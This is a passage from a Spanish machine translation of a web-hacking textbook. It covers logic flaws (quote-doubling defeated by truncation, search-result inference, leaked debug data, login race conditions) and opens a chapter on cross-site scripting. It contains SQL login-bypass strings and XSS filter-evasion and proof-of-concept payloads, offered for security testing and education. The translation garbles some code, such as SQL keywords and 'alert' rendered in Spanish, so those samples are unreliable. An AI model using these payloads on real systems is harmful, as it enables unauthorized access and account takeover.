Sin embargo, si el carácter de barra invertida en sí no se escapa, un atacante puede
enviar \' para salir de la cadena y, por lo tanto, tomar el control de la secuencia de
comandos. Este error exacto se encontró en las primeras versiones del marco Ruby On Rails en la función escape_
Ejemplo 9: invalidación de la validación de entrada

Los autores encontraron esta falla lógica en una aplicación web utilizada en un sitio de comercio
electrónico. Las variantes se pueden encontrar en muchas otras aplicaciones.
La Funcionalidad
La aplicación contenía un conjunto de rutinas de validación de entrada para proteger contra varios
tipos de ataques. Dos de estos mecanismos de defensa eran un filtro de inyección SQL y un
limitador de longitud.
Es común que las aplicaciones intenten defenderse contra la inyección de SQL escapando de
las comillas simples que aparecen dentro de la entrada del usuario basada en cadenas (y
rechazando las que aparecen dentro de la entrada numérica). Como se describe en el Capítulo 9,
dos comillas simples juntas son una secuencia de escape que representa una comilla simple
literal, que la base de datos interpreta como datos dentro de una cadena entrecomillada en lugar
del terminador de cadena de cierre. Muchos desarrolladores razonan, por lo tanto, que al duplicar
las comillas simples dentro de la entrada proporcionada por el usuario, evitarán que se produzcan
ataques de inyección SQL.
El limitador de longitud se aplicó a todas las entradas, asegurando que ninguna variable
proporcionada por un usuario tuviera más de 128 caracteres. Logró esto truncando cualquier
variable a 128 caracteres.
La suposición
Se asumió que tanto el filtro de inyección SQL como el truncamiento de longitud eran defensas
deseables desde el punto de vista de la seguridad, por lo que se deberían aplicar ambos.
El ataque
La defensa de inyección SQL funciona duplicando las comillas que aparecen dentro de la entrada
del usuario, de modo que dentro de cada par de comillas, la primera comilla actúa como un carácter
de escape para la segunda. Sin embargo, los desarrolladores no consideraron qué sucedería con la
entrada desinfectada si luego se pasara a la función de truncamiento.
Recuerde el ejemplo de inyección SQL en una función de inicio de sesión en el

Capítulo 9. Suponga que la aplicación duplica las comillas simples contenidas en la
entrada del usuario y también impone un límite de longitud a los datos, truncándolos a 128 caracteres.
Proporcionando este nombre de usuario:
administración'--
ahora da como resultado la siguiente consulta, que no puede omitir el inicio de sesión:
''
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin''--' y contraseña =
Sin embargo, si envía el siguiente nombre de usuario (que contiene 127 a seguidas de comillas
simples):
aaaaaaaa[...]aaaaaaaaaaa'
la aplicación primero duplica las comillas simples y luego trunca la cadena a 128 caracteres,
devolviendo su entrada a su valor original. Esto da como resultado un error de la base de datos,
porque ha insertado una comilla simple adicional en la consulta sin corregir la sintaxis circundante.
Si ahora también proporciona la contraseña:
o 1=1--
la aplicación realiza la siguiente consulta, que logra omitir el inicio de sesión:
SELECCIONE * FROM usuarios WHERE nombre de usuario = 'aaaaaaa[...]aaaaaaaaaaa'' y

contraseña = 'o 1=1--'
Las comillas dobles al final de la cadena de a se interpretan como comillas

con escape y, por lo tanto, como parte de los datos de la consulta. Esta cadena
continúa efectivamente hasta la siguiente comilla simple, que en la consulta
original marcaba el inicio del valor de la contraseña proporcionada por el usuario.
Por lo tanto, el nombre de usuario real que comprende la base de datos es la cadena de datos literal
que se muestra aquí:
aaaaaaaa[...]aaaaaaaaaaa'y contraseña =
Por lo tanto, todo lo que viene a continuación se interpreta como parte de la consulta en sí y se
puede diseñar para interferir con la lógica de la consulta.
SUGERENCIA Puede probar este tipo de vulnerabilidad sin saber exactamente qué límite de
longitud se está imponiendo enviando a su vez dos cadenas largas de la siguiente forma:
'''''''''''''''''''''''''''''''''''''' y así sucesivamente
un'''''''''''''''''''''''''''''''''''' y así sucesivamente
y determinar si se produce un error. Cualquier truncamiento de entrada escapada ocurrirá

después de un número par o impar de caracteres. Cualquiera que sea la posibilidad, una
de las cadenas anteriores dará como resultado que se inserte un número impar de comillas
simples en la consulta, lo que dará como resultado una sintaxis no válida.
PASOS DE HACK
Tome nota de cualquier instancia en la que la aplicación modifique la entrada del usuario,
en particular truncándola, eliminando datos, codificando o decodificando. Para cualquier
instancia observada, determine si se puede idear una cadena maliciosa: 1. Si los datos se
eliminan una vez (no recursivamente), determine si puede

envíe una cadena que compense esto. Por ejemplo, si la aplicación filtra palabras
clave SQL como SELECT, envíe SELSELECTECT y vea si el filtrado resultante elimina
la subcadena SELECT interna, dejando la palabra SELECT.
2. Si la validación de datos se lleva a cabo en un orden establecido y una o más validaciones

los procesos modifican los datos, determine si esto se puede usar para superar uno
de los pasos de validación anteriores. Por ejemplo, si la aplicación realiza la
decodificación de URL y luego elimina los datos maliciosos, como la etiqueta <script>,
es posible superar esto con cadenas como:
%<script>3cscript%<script>3ealert(1)%<script>3c/ script%<script>3e
NOTA Con frecuencia, los fi ltros de secuencias de comandos entre sitios eliminan de manera
desaconsejable todos los datos que se producen entre pares de etiquetas HTML, como
<tag1>aaaa</tag1>. Estos suelen ser vulnerables a este tipo de ataque.
Ejemplo 10: Abuso de una función de búsqueda

Los autores encontraron esta falla lógica en una aplicación que brindaba acceso basado
en suscripción a noticias e información financiera. La misma vulnerabilidad se encontró
más tarde en dos aplicaciones completamente independientes, lo que ilustra la naturaleza
sutil y generalizada de muchas fallas lógicas.
La Funcionalidad
La aplicación proporcionó acceso a un enorme archivo de información histórica y
actual , incluidos informes y cuentas de la empresa, comunicados de prensa, análisis
de mercado y similares. La mayor parte de esta información era accesible solo para
suscriptores de pago.
La aplicación proporcionaba una función de búsqueda potente y detallada a la que podían
acceder todos los usuarios. Cuando un usuario anónimo realizaba una consulta, la función de
búsqueda devolvía enlaces a todos los documentos que coincidían con la consulta. Sin embargo,
el usuario estaba obligado a suscribirse para recuperar cualquiera de los documentos protegidos
reales que arrojó su consulta. Los propietarios de la aplicación consideraron este comportamiento
como una táctica de marketing útil.
La suposición
El diseñador de la aplicación supuso que los usuarios no podían utilizar la función de
búsqueda para extraer información útil sin pagar por ella. Los títulos de los documentos
enumerados en los resultados de la búsqueda solían ser crípticos, como "Resultados anuales 2010",
“Comunicado de prensa 03-08-2011”, y así sucesivamente.
El ataque
Debido a que la función de búsqueda indicaba cuántos documentos coincidían con una consulta determinada, un usuario
astuto podría emitir una gran cantidad de consultas y usar la inferencia para extraer información de la función de búsqueda
que normalmente tendría que pagar. Por ejemplo, las siguientes consultas podrían usarse para concentrarse en el
contenido de un documento protegido individual:
wahh consultando
>> 276 partidos
wahh consulting “Comunicado de prensa 03-08-2011” fusión

>> 0 coincidencias
wahh consulting “Comunicado de prensa 08-03-2011” emisión de acciones

>> 0 coincidencias
wahh consulting “Comunicado de Prensa 03-08-2011” dividendo

>> 0 coincidencias
Wahh Consulting “Comunicado de prensa 03-08-2011” Adquisición

>> 1 partido
wahh consulting “Comunicado de prensa 08-03-2011” adquisición de haxors inc

>> 0 coincidencias
wahh consulting “Comunicado de prensa 08-03-2011” adquisición uberleet ltd

>> 0 coincidencias
wahh consulting “Comunicado de prensa 03-08-2011” guion de adquisición kiddy corp

>> 0 coincidencias
wahh consulting “Comunicado de prensa 08-03-2011” adquisición ngs

>> 1 partido
Wahh Consulting "Comunicado de prensa 08-03-2011" anunció la adquisición de ngs

>> 0 coincidencias
wahh consulting "Comunicado de prensa 08-03-2011" canceló la adquisición
>> 0 coincidencias
Wahh Consulting “Comunicado de prensa 03-08-2011” Adquisición completada
>> 1 partido
Aunque el usuario no puede ver el documento en sí mismo, con suficiente

imaginación y uso de solicitudes escritas, puede construir una comprensión
bastante precisa de su contenido.
SUGERENCIA En ciertas situaciones, poder filtrar información a través de una

función de búsqueda de esta manera puede ser fundamental para la seguridad de la
aplicación en sí misma, revelando efectivamente detalles de funciones administrativas,
contraseñas y tecnologías en uso.
SUGERENCIA Esta técnica ha demostrado ser un ataque eficaz contra el software

de gestión de documentos internos. Los autores han utilizado esta técnica para
aplicar fuerza bruta a una contraseña clave de un archivo de configuración que estaba almacenado en un wiki.
Debido a que el wiki devolvía un resultado positivo si la cadena de búsqueda aparecía
en cualquier parte de la página (en lugar de coincidir con palabras completas), era
posible aplicar fuerza bruta a la contraseña letra por letra, buscando lo siguiente:
Contraseña=A
Contraseña=B
Contraseña=BA
...
Ejemplo 11: mensajes de depuración Snarfi ng

Los autores encontraron esta falla lógica en una aplicación web utilizada por una empresa de
servicios financieros.
La Funcionalidad
La aplicación se implementó recientemente. Como gran parte del software nuevo, todavía contenía
una serie de errores relacionados con la funcionalidad. De forma intermitente, varias operaciones
fallaban de manera impredecible y los usuarios recibían un mensaje de error.
Para facilitar la investigación de errores, los desarrolladores decidieron incluir información detallada,
información detallada en estos mensajes, incluidos los siguientes detalles:
n La identidad del usuario

n El token para la sesión actual
n La URL a la que se accede n

Todos los parámetros proporcionados con la solicitud que generó el error
La generación de estos mensajes resultó útil cuando el personal de la mesa de

ayuda intentó investigar y recuperarse de las fallas del sistema. También estaban
ayudando a solucionar los errores de funcionalidad restantes.
La suposición
A pesar de las advertencias habituales de los asesores de seguridad de que los mensajes de
depuración detallados de este tipo podrían ser mal utilizados por un atacante, los desarrolladores
razonaron que no estaban abriendo ninguna vulnerabilidad de seguridad. El usuario podría obtener
fácilmente toda la información contenida en el mensaje de depuración al inspeccionar las solicitudes y
respuestas procesadas por su navegador. Los mensajes no incluían ningún detalle sobre la falla real,
como los seguimientos de la pila, por lo que es posible que no fueran útiles para formular un ataque
contra la aplicación.
El ataque
A pesar de su razonamiento sobre el contenido de los mensajes de depuración, la suposición de los

desarrolladores fue errónea debido a los errores que cometieron al implementar la creación de mensajes
de depuración.
Cuando ocurría un error, un componente de la aplicación recopilaba toda la información requerida y
la almacenaba. El usuario recibió una redirección HTTP a una URL que mostraba esta información
almacenada. El problema era que el almacenamiento de información de depuración de la aplicación y
el acceso del usuario al mensaje de error no se basaban en sesiones. Más bien, la información de
depuración se almacenó en un contenedor estático y la URL del mensaje de error siempre mostraba la
información que se colocó por última vez en este contenedor. Los desarrolladores habían asumido que
los usuarios que seguían la redirección solo verían la información de depuración relacionada con su
error.
De hecho, en esta situación, a los usuarios comunes se les presentaría ocasionalmente la
información de depuración relacionada con el error de un usuario diferente, porque los dos errores
ocurrieron casi simultáneamente. Pero aparte de las preguntas sobre la seguridad de los subprocesos
(ver el siguiente ejemplo), esto no era simplemente una condición de carrera. Un atacante que
descubriera cómo funcionaba el mecanismo de error podría simplemente sondear la URL del mensaje
repetidamente y registrar los resultados cada vez que cambiara.
Durante un período de unas pocas horas, este registro contendría datos confidenciales sobre
numerosos usuarios de la aplicación:
n Un conjunto de nombres de usuario que podrían usarse en un ataque de adivinación de
contraseñas n Un conjunto de tokens de sesión que podrían usarse para secuestrar sesiones n
Un conjunto de entradas proporcionadas por el usuario, que pueden contener contraseñas y otros
artículos sensibles
El mecanismo de error, por lo tanto, presentó una amenaza de seguridad crítica. Debido a que los
usuarios administrativos a veces recibían estos mensajes de error detallados, un
los mensajes de error de monitoreo del atacante pronto obtendrían suficiente

información para comprometer toda la aplicación.
PASOS DE HACK
1. Para detectar una falla de este tipo, primero catalogue todos los eventos anómalos y
condiciones que pueden generarse y que implican que información interesante
específica del usuario se devuelve al navegador de una manera inusual, como
un mensaje de error de depuración.
2. Usar la aplicación como dos usuarios en paralelo, diseñar sistemáticamente
cada condición utilizando uno o ambos usuarios, y determinar si el otro usuario
se ve afectado en cada caso.
Ejemplo 12: Carrera contra el inicio de sesión

Esta falla lógica ha afectado varias aplicaciones importantes en el pasado reciente.
La Funcionalidad
La aplicación implementó un sólido proceso de inicio de sesión de varias etapas en el que los
usuarios debían proporcionar varias credenciales diferentes para obtener acceso.
La suposición
El mecanismo de autenticación había estado sujeto a numerosas revisiones de diseño
y pruebas de penetración. Los propietarios confiaban en que no existían medios
factibles de atacar el mecanismo para obtener acceso no autorizado.
El ataque
De hecho, el mecanismo de autenticación contenía una falla sutil. Ocasionalmente,

cuando un cliente iniciaba sesión, obtenía acceso a la cuenta de un usuario
completamente diferente, lo que le permitía ver todos los detalles financieros de ese
usuario e incluso realizar pagos desde la cuenta del otro usuario. El comportamiento de
la aplicación inicialmente parecía ser aleatorio: el usuario no había realizado ninguna
acción inusual para obtener acceso no autorizado y la anomalía no se repitió en los inicios de sesión posteriores.
Después de algunas investigaciones, el banco descubrió que el error ocurría cuando dos
usuarios diferentes iniciaban sesión en la aplicación precisamente en el mismo momento. No
ocurrió en todas esas ocasiones, solo en un subconjunto de ellas. La causa principal era que
la aplicación almacenaba brevemente un identificador de clave sobre cada usuario recién
autenticado dentro de una variable estática (sin sesión). Después de ser escrito, el valor de
esta variable se volvió a leer un instante después. Si un subproceso diferente (procesando
otro inicio de sesión) hubiera escrito en la variable durante este instante, el usuario anterior
aterrizaría en una sesión autenticada perteneciente al usuario posterior.
La vulnerabilidad surgió del mismo tipo de error que en el ejemplo del mensaje de
error descrito anteriormente: la aplicación estaba usando almacenamiento estático
para almacenar información que debería haberse almacenado por subproceso o por sesión.
Sin embargo, el presente ejemplo es mucho más sutil de detectar y más difícil de explotar porque
no se puede reproducir de forma fiable.
Las fallas de este tipo se conocen como “condiciones de carrera” porque involucran una
vulnerabilidad que surge por un breve período de tiempo bajo ciertas circunstancias específicas .
Debido a que la vulnerabilidad existe solo por un corto tiempo, un atacante “corre” para explotarla
antes de que la aplicación la cierre nuevamente. En los casos en que el atacante es local para la
aplicación, a menudo es posible diseñar las circunstancias exactas bajo las cuales surge la
condición de carrera y explotar de manera confiable la vulnerabilidad durante la ventana
disponible. Cuando el atacante está alejado de la aplicación, esto suele ser mucho más difícil de
lograr.
Un atacante remoto que comprendiera la naturaleza de la vulnerabilidad podría haber ideado
un ataque para explotarla mediante el uso de un script para iniciar sesión de forma continua y
comprobar los detalles de la cuenta a la que se accede. Pero la pequeña ventana durante la cual
se podría explotar la vulnerabilidad significaba que se requeriría una gran cantidad de solicitudes.
No fue sorprendente que la condición de carrera no se descubriera durante las pruebas de

penetración normales. Las condiciones en las que surgió se produjeron solo cuando la aplicación
ganó una base de usuarios lo suficientemente grande como para que ocurrieran anomalías
aleatorias, que fueron informadas por los clientes. Sin embargo, una revisión minuciosa del
código de la lógica de administración de sesión y autenticación habría identificado el problema.
PASOS DE HACK
Realizar pruebas remotas de caja negra para problemas sutiles de seguridad de subprocesos de
este tipo no es sencillo. Debe considerarse como una empresa especializada, probablemente
necesaria solo en las aplicaciones más críticas para la seguridad.
1. Centrarse en elementos seleccionados de funcionalidad clave, como mecanismos de inicio

de sesión, funciones de cambio de contraseña y procesos de transferencia de fondos.
2. Para cada función probada, identifique una sola solicitud, o una pequeña cantidad de
solicitudes, que un usuario determinado pueda usar para realizar una sola acción.
Encuentre también los medios más simples para confirmar el resultado de la acción, como
verificar que el inicio de sesión de un usuario determinado haya resultado en el acceso a la
información de la cuenta de esa persona.
3. Usando varias máquinas de alta especificación, accediendo a la aplicación desde diferentes

ubicaciones de la red, escriba un ataque para realizar la misma acción repetidamente en
nombre de varios usuarios diferentes. Confirme si cada acción tiene el resultado esperado.
4. Esté preparado para un gran volumen de falsos positivos. Dependiendo de

escala de la infraestructura de soporte de la aplicación, esta actividad bien puede equivaler
a una prueba de carga de la instalación. Se pueden experimentar anomalías por razones que
no tienen nada que ver con la seguridad.
Evitar fallas lógicas

Así como no existe una firma única mediante la cual se puedan identificar fallas
lógicas en las aplicaciones web , tampoco existe una bala de plata que lo proteja.
Por ejemplo, no hay equivalente al consejo directo de usar una alternativa segura a
una API peligrosa. Sin embargo, se puede aplicar una variedad de buenas prácticas
para reducir significativamente el riesgo de que aparezcan fallas lógicas en sus aplicaciones:
n Asegúrese de que cada aspecto del diseño de la aplicación esté claramente documentado
con suficiente detalle para que una persona ajena entienda cada suposición que hizo el
diseñador. Todas estas suposiciones deben registrarse explícitamente en la documentación
del diseño.
n Exigir que todo el código fuente esté claramente comentado para incluir la
siguiente información: n El propósito y los usos previstos de cada
componente del código. n Las suposiciones hechas por cada componente
sobre cualquier cosa que sea
fuera de su control directo.
n Referencias a todo el código de cliente que utiliza el componente. Una

documentación clara a este efecto podría haber evitado la falla lógica dentro de
la funcionalidad de registro en línea. (Tenga en cuenta que "cliente" aquí no se
refiere al extremo del usuario de la relación cliente/servidor, sino a otro código
para el cual el componente que se está considerando es una dependencia inmediata).
n Durante las revisiones centradas en la seguridad del diseño de la aplicación, reflexione sobre
cada suposición realizada dentro del diseño e intente imaginar las circunstancias en las
que se podría violar cada suposición. Concéntrese en cualquier condición asumida que
posiblemente podría estar bajo el control de los usuarios de la aplicación. n Durante las
revisiones de código centradas en la seguridad, piense lateralmente en dos áreas clave: las
formas en que la aplicación manejará el comportamiento inesperado del usuario y los
posibles efectos secundarios de las dependencias y la interoperación entre los diferentes
componentes del código y las diferentes funciones de la aplicación.
En relacin con los ejemplos especficos de fallas lgicas que hemos descrito, un nmero
de lecciones individuales se pueden aprender:
n Esté constantemente consciente de que los usuarios controlan todos los aspectos de cada
solicitud (consulte el Capítulo 1). Pueden acceder a funciones de varias etapas en cualquier
secuencia. Pueden presentar parámetros que la aplicación no solicitó. Pueden omitir ciertos
parámetros, no solo interferir con los valores de los parámetros. n Impulsar todas las
decisiones relacionadas con la identidad y el estado de un usuario desde su sesión (consulte

el Capítulo 8). No haga suposiciones sobre los privilegios del usuario sobre la base de
cualquier otra característica de la solicitud, incluido el hecho de que se produzca.
n Cuando implemente funciones que actualicen los datos de la sesión sobre la base de la
entrada recibida del usuario, o las acciones realizadas por el usuario, considere
cuidadosamente cualquier impacto que los datos actualizados puedan tener en otra
funcionalidad dentro de la aplicación. Tenga en cuenta que pueden ocurrir efectos
secundarios inesperados en una funcionalidad completamente no relacionada escrita por
un programador diferente o incluso por un equipo de desarrollo diferente.
n Si una función de búsqueda puede indexar datos confidenciales a los que algunos usuarios
no están autorizados a acceder, asegúrese de que la función no proporcione ningún medio
para que esos usuarios infieran información en función de los resultados de la búsqueda. Si
corresponde, mantenga varios índices de búsqueda basados en diferentes niveles de
privilegio del usuario, o realice búsquedas dinámicas de repositorios de información con los
privilegios del usuario solicitante.
n Tenga mucho cuidado con la implementación de cualquier función que permita a cualquier
usuario eliminar elementos de un registro de auditoría. Además, considere el posible
impacto de un usuario con muchos privilegios creando otro usuario con el mismo nivel de
privilegios en aplicaciones muy auditadas y modelos de doble autorización. n Al realizar
verificaciones basadas en límites comerciales numéricos y umbrales , realice una

canonicalización y validación de datos estrictas en todas las entradas del usuario antes de
procesarlas. Si no se esperan números negativos, rechace explícitamente las solicitudes
que los contengan.
n Al implementar descuentos basados en volúmenes de pedidos, asegúrese de que los pedidos

se finalizan antes de aplicar realmente el descuento.
n Al escapar datos proporcionados por el usuario antes de pasar a un componente de

aplicación potencialmente vulnerable, asegúrese siempre de escapar el propio carácter de
escape, o todo el mecanismo de validación puede romperse.
n Utilice siempre el almacenamiento adecuado para mantener los datos relacionados con un
usuario individual, ya sea en la sesión o en el perfil del usuario.
Resumen
Atacar la lógica de una aplicación implica una mezcla de sondeo sistemático y
pensamiento lateral. Hemos descrito varias comprobaciones clave que siempre debe
realizar para probar el comportamiento de la aplicación en respuesta a una entrada inesperada.
Estos incluyen la eliminación de parámetros de las solicitudes, el uso de navegación forzada para
acceder a funciones fuera de secuencia y el envío de parámetros a diferentes ubicaciones dentro
de la aplicación. A menudo, la forma en que una aplicación responde a estas acciones apunta
hacia alguna suposición defectuosa que puede violar, con efectos maliciosos.
Además de estas pruebas básicas, el desafío más importante cuando se buscan fallas lógicas
es tratar de entrar en la mente de los desarrolladores. Debe comprender lo que estaban tratando
de lograr, qué suposiciones probablemente hicieron,
qué atajos probablemente tomaron y qué errores pueden haber cometido.

Imagine que estuviera trabajando con un plazo ajustado, preocupándose principalmente por la
funcionalidad en lugar de la seguridad, tratando de agregar una nueva función a un código base
existente o utilizando API mal documentadas escritas por otra persona. En esa situación, ¿en qué
se equivocaría y cómo podría explotarse?
Preguntas
1. Qué es la navegación forzada y qué tipo de vulnerabilidades puede utilizar

¿identificar?
2. Una aplicación aplica varios fi ltros globales a la entrada del usuario, diseñados para
evitar diferentes categorías de ataques. Para defenderse de la inyección de SQL,
duplica las comillas simples que aparecen en la entrada del usuario. Para evitar
ataques de desbordamiento de búfer contra algunos componentes de código nativo,
trunca los elementos demasiado largos hasta un límite razonable.
¿Qué podría salir mal con estos fi ltros?
3. ¿Qué pasos podría tomar para sondear una función de inicio de sesión para condiciones
de apertura fallida? (Describa tantas pruebas diferentes como pueda pensar).
4. Una aplicación bancaria implementa un mecanismo de inicio de sesión de varias etapas que
pretende ser muy robusto. En la primera etapa, el usuario ingresa un nombre de usuario y
una contraseña. En la segunda etapa, el usuario ingresa el valor cambiante en un token
físico que posee, y el nombre de usuario original se vuelve a enviar en un campo de
formulario oculto.
¿Qué falla de lógica debe verificar de inmediato?
5. Está probando una aplicación para categorías comunes de vulnerabilidad al enviar

información manipulada. Con frecuencia, la aplicación devuelve mensajes de error
detallados que contienen información de depuración. Ocasionalmente, estos mensajes se
relacionan con errores generados por otros usuarios. Cuando esto sucede, no puede
reproducir el comportamiento por segunda vez. ¿Qué falla lógica podría indicar esto y
cómo debe proceder?
CAPÍTULO R
12
Usuarios atacantes:
Secuencias de comandos entre sitios
Todos los ataques que hemos considerado hasta ahora implican apuntar directamente a la
aplicación del lado del servidor. Por supuesto, muchos de estos ataques afectan a otros
usuarios, como un ataque de inyección SQL que roba los datos de otros usuarios. Pero la
metodología esencial del atacante era interactuar con el servidor de formas inesperadas para
realizar acciones no autorizadas y acceder a datos no autorizados.
Los ataques descritos en este capítulo y el siguiente pertenecen a una categoría diferente,
porque el objetivo principal del atacante son los otros usuarios de la aplicación. Todas las
vulnerabilidades relevantes todavía existen dentro de la propia aplicación. Sin embargo, el
atacante aprovecha algún aspecto del comportamiento de la aplicación para llevar a cabo
acciones maliciosas contra otro usuario final. Estas acciones pueden resultar en algunos de los
mismos efectos que ya hemos examinado, como el secuestro de sesiones, acciones no
autorizadas y la divulgación de datos personales. También pueden generar otros resultados no
deseados, como el registro de pulsaciones de teclas o la ejecución de comandos arbitrarios en
las computadoras de los usuarios.
Otras áreas de la seguridad del software han sido testigos de un cambio gradual en el
enfoque de los ataques del lado del servidor a los ataques del lado del cliente en los últimos
años. Por ejemplo, Microsoft solía anunciar con frecuencia graves vulnerabilidades de seguridad
en sus productos de servidor. Aunque también se revelaron numerosas fallas del lado del
cliente, estas recibieron mucha menos atención porque los servidores presentaban un objetivo
mucho más atractivo para la mayoría de los atacantes. En el transcurso de unos pocos años, a
principios del siglo XXI, esta situación ha cambiado notablemente. En el momento de escribir este artículo,
431
432 Capítulo 12 n Atacar a los usuarios: Cross-Site Scripting
no se han anunciado públicamente vulnerabilidades de seguridad críticas en el servidor web IIS de

Microsoft desde la versión 6 en adelante. Sin embargo, en el tiempo transcurrido desde que se lanzó
por primera vez este producto, se han revelado una gran cantidad de fallas en el navegador Internet
Explorer de Microsoft. A medida que ha evolucionado la conciencia general sobre las amenazas a la
seguridad, la primera línea de la batalla entre los propietarios de aplicaciones y los piratas informáticos
se ha trasladado del servidor al cliente.
Aunque el desarrollo de la seguridad de las aplicaciones web se ha retrasado algunos años, se
puede identificar la misma tendencia. A fines de la década de 1990, la mayoría de las aplicaciones en
Internet estaban plagadas de fallas críticas, como la inyección de comandos, que cualquier atacante
con un poco de conocimiento podía encontrar y explotar fácilmente. Aunque todavía existen muchas
vulnerabilidades de este tipo, poco a poco se están volviendo menos generalizadas y más difíciles de
explotar. Mientras tanto, incluso las aplicaciones más críticas para la seguridad todavía contienen
muchas fallas del lado del cliente fácilmente detectables. Además, aunque el lado del servidor de una
aplicación puede comportarse de manera limitada y controlable, los clientes pueden usar cualquier
cantidad de tecnologías y versiones de navegador diferentes, lo que abre una amplia gama de
vectores de ataque potencialmente exitosos.
Un enfoque clave de la investigación en la última década ha sido las vulnerabilidades del lado del
cliente, con defectos como la fijación de sesiones y la falsificación de solicitudes entre sitios que se
discutieron por primera vez muchos años después de que la mayoría de las categorías de errores del
lado del servidor fueran ampliamente conocidas. El enfoque de los medios en la seguridad web está
predominantemente relacionado con los ataques del lado del cliente, con términos como spyware,
phishing y troyanos que son moneda común para muchos periodistas que nunca han oído hablar de
la inyección de SQL o el cruce de rutas . Y los ataques contra usuarios de aplicaciones web son un
negocio criminal cada vez más lucrativo. ¿Por qué tomarse la molestia de irrumpir en un banco de
Internet cuando, en cambio, puede comprometer al 1% de sus 10 millones de clientes en un ataque
relativamente crudo que requiere poca habilidad o elegancia?
Los ataques contra otros usuarios de aplicaciones se presentan de muchas formas y manifiestan
una variedad de sutilezas y matices que con frecuencia se pasan por alto. También son menos
conocidos en general que los ataques primarios del lado del servidor, con diferentes fallas combinadas
o ignoradas incluso por algunos probadores de penetración experimentados. Describiremos todas las
diferentes vulnerabilidades que se encuentran comúnmente y detallaremos los pasos prácticos que
debe seguir para identificar y explotar cada una de ellas.
Este capítulo se centra en las secuencias de comandos entre sitios (XSS). Esta categoría de
habilidad vulnerable es el padrino de los ataques contra otros usuarios. Es, en cierta medida, la
vulnerabilidad de aplicación web más frecuente que se encuentra en la naturaleza. Afecta a la gran
mayoría de las aplicaciones activas, incluidas algunas de las aplicaciones más críticas para la
seguridad en Internet, como las que utilizan los bancos en línea. El próximo capítulo examina una
gran cantidad de otros tipos de ataques contra los usuarios, algunos de los cuales tienen similitudes
importantes con XSS.
Capítulo 12 n Atacar a los usuarios: Cross-Site Scripting 433
MITO COMÚN
“Los usuarios se ven comprometidos porque no son conscientes de la seguridad”.
Aunque esto es parcialmente cierto, algunos ataques contra usuarios de aplicaciones

pueden tener éxito independientemente de las precauciones de seguridad de los usuarios. Los
ataques XSS almacenados pueden comprometer a los usuarios más conscientes de la seguridad
sin ninguna interacción por parte del usuario. El Capítulo 13 presenta muchos más métodos
mediante los cuales los usuarios conscientes de la seguridad pueden verse comprometidos sin su conocimiento.
Cuando XSS se estaba volviendo ampliamente conocido por primera vez en la comunidad de
seguridad de aplicaciones web, algunos probadores de penetración profesionales se inclinaban a
considerar XSS como una vulnerabilidad "aburrida". Esto se debió en parte a su fenomenal
predominio en la web, y también a que XSS a menudo tiene un uso menos directo para un hacker
solitario que apunta a una aplicación, en comparación con muchas vulnerabilidades, como la
inyección de comandos del lado del servidor. Con el tiempo, esta percepción ha cambiado y, en
la actualidad, XSS suele citarse como la amenaza de seguridad número uno en la web. A medida
que se desarrolla la investigación sobre los ataques del lado del cliente, la discusión se ha
centrado en muchos otros ataques que son al menos tan complicados de explotar como cualquier
falla XSS. Y se han producido numerosos ataques en el mundo real en los que se han utilizado vulnerabilidades XSS.
para comprometer organizaciones de alto perfil.
XSS a menudo representa una debilidad de seguridad crítica dentro de una aplicación. A
menudo se puede combinar con otras vulnerabilidades con efectos devastadores. En algunas
situaciones, un ataque XSS puede convertirse en un virus o en un gusano autopropagante.
Los ataques de este tipo ciertamente no son tontos.
MITO COMÚN
"No puedes tener una aplicación web a través de XSS".
Los autores han sido propietarios de numerosas aplicaciones que utilizan únicamente
ataques XSS. En la situación correcta, una vulnerabilidad XSS hábilmente explotada puede
conducir directamente a un compromiso total de la aplicación. Le mostraremos cómo.
Variedades de XSS
Las vulnerabilidades XSS vienen en varias formas y se pueden dividir en tres variedades:
reflejadas, almacenadas y basadas en DOM. Aunque estos tienen varias características en
común, también tienen diferencias importantes en la forma en que pueden identificarse y
explotarse. Examinaremos cada variedad de XSS a su vez.
Vulnerabilidades XSS reflejadas

Un ejemplo muy común de XSS ocurre cuando una aplicación emplea una página
dinámica para mostrar mensajes de error a los usuarios. Por lo general, la página toma
un parámetro que contiene el texto del mensaje y simplemente devuelve este texto al
usuario dentro de su respuesta. Este tipo de mecanismo es conveniente para los
desarrolladores, ya que les permite invocar una página de error personalizada desde
cualquier parte de la aplicación sin necesidad de codificar mensajes individuales dentro de la propia página de erro
Por ejemplo, considere la siguiente URL, que devuelve el mensaje de error que se muestra
en la Figura 12-1:
http://mdsec.net/error/5/Error.ashx?message=Sorry%2c+ocurrió+un+error
Figura 12-1: Un mensaje de error generado dinámicamente
Mirando el código HTML de la página devuelta, podemos ver que la aplicación

simplemente copia el valor del parámetro del mensaje en la URL y lo inserta en
la plantilla de la página de error en el lugar apropiado:
<p>Lo sentimos, ocurrió un error.</p>
Este comportamiento de tomar la entrada proporcionada por el usuario e insertarla en el

HTML de la respuesta del servidor es una de las firmas de las vulnerabilidades XSS reflejadas,
y si no se realiza ningún filtrado o desinfección, la aplicación es ciertamente vulnerable.
Veamos cómo.
La siguiente URL se ha diseñado para reemplazar el mensaje de error con una pieza de
JavaScript que genera un cuadro de diálogo emergente:
http://mdsec.net/error/5/Error.ashx?message=<script>alerta(1)</script>
Solicitar esta URL genera una página HTML que contiene lo siguiente
en lugar del mensaje original:
<p><script>alerta(1);</script></p>
Efectivamente, cuando la página se muestra en el navegador del usuario, aparece el

mensaje emergente, como se muestra en la Figura 12-2.
Figura 12-2: Un exploit XSS de prueba de concepto
Realizar esta sencilla prueba sirve para verificar dos cosas importantes. Primero, el
contenido del parámetro del mensaje se puede reemplazar con datos arbitrarios que se
devuelven al navegador. En segundo lugar, cualquiera que sea el procesamiento que la
aplicación del lado del servidor esté realizando en estos datos (si lo hay), es insuficiente para
evitar que proporcionemos el código JavaScript que se ejecuta cuando la página se muestra en el navegador.
¡INTENTALO!
http://mdsec.net/error/5/
NOTA Si prueba ejemplos como este en Internet Explorer, es posible que la ventana
emergente no aparezca y que el navegador muestre el mensaje "Internet Explorer modificó
esta página para ayudar a evitar las secuencias de comandos entre sitios". Esto se debe a
que las versiones recientes de Internet Explorer contienen un mecanismo integrado
diseñado para proteger a los usuarios contra las vulnerabilidades XSS reflejadas. Si desea
probar estos ejemplos, puede probar con un navegador diferente que no use esta
protección, o puede deshabilitar el fi ltro XSS yendo a Herramientas ÿ Opciones de Internet
ÿ Seguridad ÿ Nivel personalizado. En Habilitar fi ltro XSS, seleccione Deshabilitar. Más
